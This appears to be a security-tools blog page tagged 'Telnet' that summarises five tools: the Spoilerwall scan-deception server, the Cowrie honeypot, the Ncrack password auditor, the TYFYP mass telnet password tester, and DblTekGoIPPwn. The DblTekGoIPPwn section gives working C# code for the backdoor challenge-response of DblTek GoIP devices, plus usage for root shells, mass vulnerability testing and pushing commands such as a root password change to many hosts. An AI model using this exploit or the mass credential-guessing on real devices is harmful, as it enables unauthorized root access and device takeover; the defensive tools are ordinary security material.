This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Showing posts with label Telnet. Show all posts
Showing posts with label Telnet. Show all posts

spoilerwall - Avoid being scanned by spoiling movies on all your ports!


Spoilerwall introduces a brand new concept in the field of network hardening. Avoid being scanned by spoiling movies on all your ports!
Firewall? How about Fire'em'all! Stop spending thousand of dollars on big teams that you don't need! Just fire up the Spoilers Server and that's it!

Movie Spoilers DB + Open Ports + Pure Evil = Spoilerwall

Set your own:
  1. Clone this repo
$ git clone git@github.com:infobyte/spoilerwall.git
  1. Edit the file server-spoiler.py and set the HOST and PORT variables.
  2. Run the server
$ python2 server-spoiler.py
The server will listen on the selected port (8080 by default). Redirect incoming TCP traffic in all ports to this service by running:
iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 1:65535 -j DNAT --to-destination {HOST}:{PORT}
Change {HOST} and {PORT} for the values set in step (2). Also, if the traffic is redirected to localhost, run:
sysctl -w net.ipv4.conf.eth0.route_localnet=1
Using this config, an nmap scan will show every port as open and a spoiler for each one.
View the live demo running in spoilerwall.faradaysec.com
~ ❯❯❯ telnet spoilerwall.faradaysec.com 23

Trying 138.197.196.144...

Connected to spoilerwall.faradaysec.com.

Escape character is '^]'.

Gummo

Fucked up people killing cats after a tornado

Connection closed by foreign host.
Browse in Shodan (but beware of the Spoilers!):
https://www.shodan.io/host/138.197.196.144
Be careful in your next CTF - you never know when the spoilers are coming!

Cowrie - SSH/Telnet Honeypot


Cowrie is a medium interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker.

Cowrie is developed by Michel Oosterhof.

Features
Some interesting features:
  • Fake filesystem with the ability to add/remove files. A full fake filesystem resembling a Debian 5.0 installation is included
  • Possibility of adding fake file contents so the attacker can cat files such as /etc/passwd. Only minimal file contents are included
  • Session logs stored in an UML Compatible format for easy replay with original timings
  • Cowrie saves files downloaded with wget/curl or uploaded with SFTP and scp for later inspection
Additional functionality over standard kippo:
  • SFTP and SCP support for file upload
  • Support for SSH exec commands
  • Logging of direct-tcp connection attempts (ssh proxying)
  • Forward SMTP connections to SMTP Honeypot (e.g. mailoney)
  • Logging in JSON format for easy processing in log management solutions
  • Many, many additional commands

Requirements
Software required:
  • Python 2.7+, (Python 3 not yet supported due to Twisted dependencies)
  • python-virtualenv
For Python dependencies, see requirements.txt

Files of interest:
  • cowrie.cfg - Cowrie's configuration file. Default values can be found in cowrie.cfg.dist
  • data/fs.pickle - fake filesystem
  • data/userdb.txt - credentials allowed or disallowed to access the honeypot
  • dl/ - files transferred from the attacker to the honeypot are stored here
  • honeyfs/ - file contents for the fake filesystem - feel free to copy a real system here or use bin/fsctl
  • log/cowrie.json - transaction output in JSON format
  • log/cowrie.log - log/debug output
  • log/tty/*.log - session logs
  • txtcmds/ - file contents for the fake commands
  • bin/createfs - used to create the fake filesystem
  • bin/playlog - utility to replay session logs

Read more.

DblTekGoIPPwn - Tool to check if an IP of a DblTek GoIP is vulnerable to a challenge-response login system, execute remote commands botnet style, and generate responses to challenges


Tool to exploit challenge response system in vulnerable DblTek GoIP devices. Can generate responses to specified challenges, test hosts for the vulnerability, run commands on vulnerable hosts, and drop into a root shell on any vulnerable host.

The Vulnerability
On March 2nd, 2017, Trustwave released a vulnerability that security researchers found in the DblTek GoIP VoIP Phone. The vulnerability was a backdoor in the firmware for an account named 'dbladm'. When a user entered this as their username in a telnet prompt, the system would present a challenge that when followed with the right response, gave the user a root shell on the system.
The problem with such a challenge response system is that the devices are as secure as the algorithm for generating the responses, which was reverse engineered from firmware binaries provided by DblTek. Using this algorithm, a root shell can be aquired on ANY DblTek GoIP device.
Original Article: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
Using the description of the backdoor provided in the article, I was able to write what I believe to be some of the first exploit code for this vulnerability. The core of this is of course the algorithm to generate the response based on a given challenge. Here is a function to do this written in C#.
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.

string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.

byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];

var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.

StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));

return sb.ToString(); // Profit
}

DblTekGoIPPwn Command Line Interface (CLI)
When DblTekPwn is ran without arguments, the help is displayed. This is the output:
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE] Computes a response to the given challenge.
-r --root-shell Starts a root shell with the vulnerable host.
-s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
-t --test Tests hosts and determines if they are vulnerable.
-h --help Displays this help and exits.

[HOSTS]:
-n --name [IP] Specifies a single IP address.
-f --file [IP_FILE] Specifies a file with IP\nIP\nIP.

[OUTPUT]:
-o --output [OUTPUT_FILE] Specifies an output file. Default stdin.

Examples

Getting a Root Shell on a Vulnerable System
DblTekGoIPPwn makes it easy to get a root shell on any vulnerable system. Simply run the following command using the vulnerable IP.
DblTekPwn.exe --root-shell --name 192.168.1.1
You will see output that looks like this:
Password: ***********
From here you can begin entering commands (there is no shell prompt).

Calculating a Challenge Response
Say you wanted to calculate the response to a GoIP challenge N1746203308 . You would just run the following command.
DblTekPwn --compute-response N1746203308
The output will be the response:
d6176d3aab2

Checking a List of IPs
Say you wished to check list.txt of IPs for GoIPs that are vulnerable and send this output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that the IPs are seperated by a newline \n . The following command could then be ran.
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
The False or True after the host indicates whether or not the IP is vulnerable.

Sending Commands to a List of IPs
Say you had a list of commands (which is really a list of telnet inputs) in cmds.txt to send to list.txt of IPs and send the output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that BOTH the IPs AND commands are seperated by a newline \n in their respective files. The following command could then be ran.
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor

exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
The False or True after the host indicates whether or not the connection was successfully made and the commands delivered.


[Ncrack] High-Speed Network Authentication Cracker


Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords. Security professionals also rely on Ncrack when auditing their clients. Ncrack was designed using a modular approach, a command-line syntax similar to Nmap and a dynamic engine that can adapt its behaviour based on network feedback. It allows for rapid, yet reliable large-scale auditing of multiple hosts.

Ncrack's features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap's and many more. Protocols supported include RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, and telnet.

Ncrack was started as a "Google Summer of Code" Project in 2009. While it is already useful for some purposes, it is still unfinished, alpha quality software. It is released as a standalone tool and can be downloaded from the section below. Be sure to read the Ncrack man page to fully understand Ncrack usage. If you are a developer and want to write your own Ncrack modules, studying the Ncrack Developer's Guide would be the first step.

[TYFYP] Massive Telnet Password Tester



Commercial name: TYFYP (Thank you for your password), to the honor of ADTRAN telnet banner motd welcome message.

Please use it ONLY in LAN IPs. This is a very rudimentary program only for investigation purposes. Developed on Retina Display machine, so there may be UI errors in normal resolution screens.

REQUIREMENTS:

  • Windows.
  • .NET Framework v4.5

HOW TO USE:

  • Open TYFYP.exe or complile it in Visual Studio.
  • Select a .txt file with IPs list you want to try.
  • Write a default telnet username, password and enable password.
  • Click "Run".

WHAT IT WILL DO:

  • Check IP by IP telnet username and password.
  • If there is a connection, it will try enable password.
  • You will see green lines in case of successful connection, red lines if not.
  • Clear red lines means there wasn't telnet service listening (or your network connection fails).

FUTURE IMPROVEMENTS:

  • Be able to read telnet user, password and enable password directly from IP list txt. This will allow to try multiples password for each IP.
  • Make it multi-threading.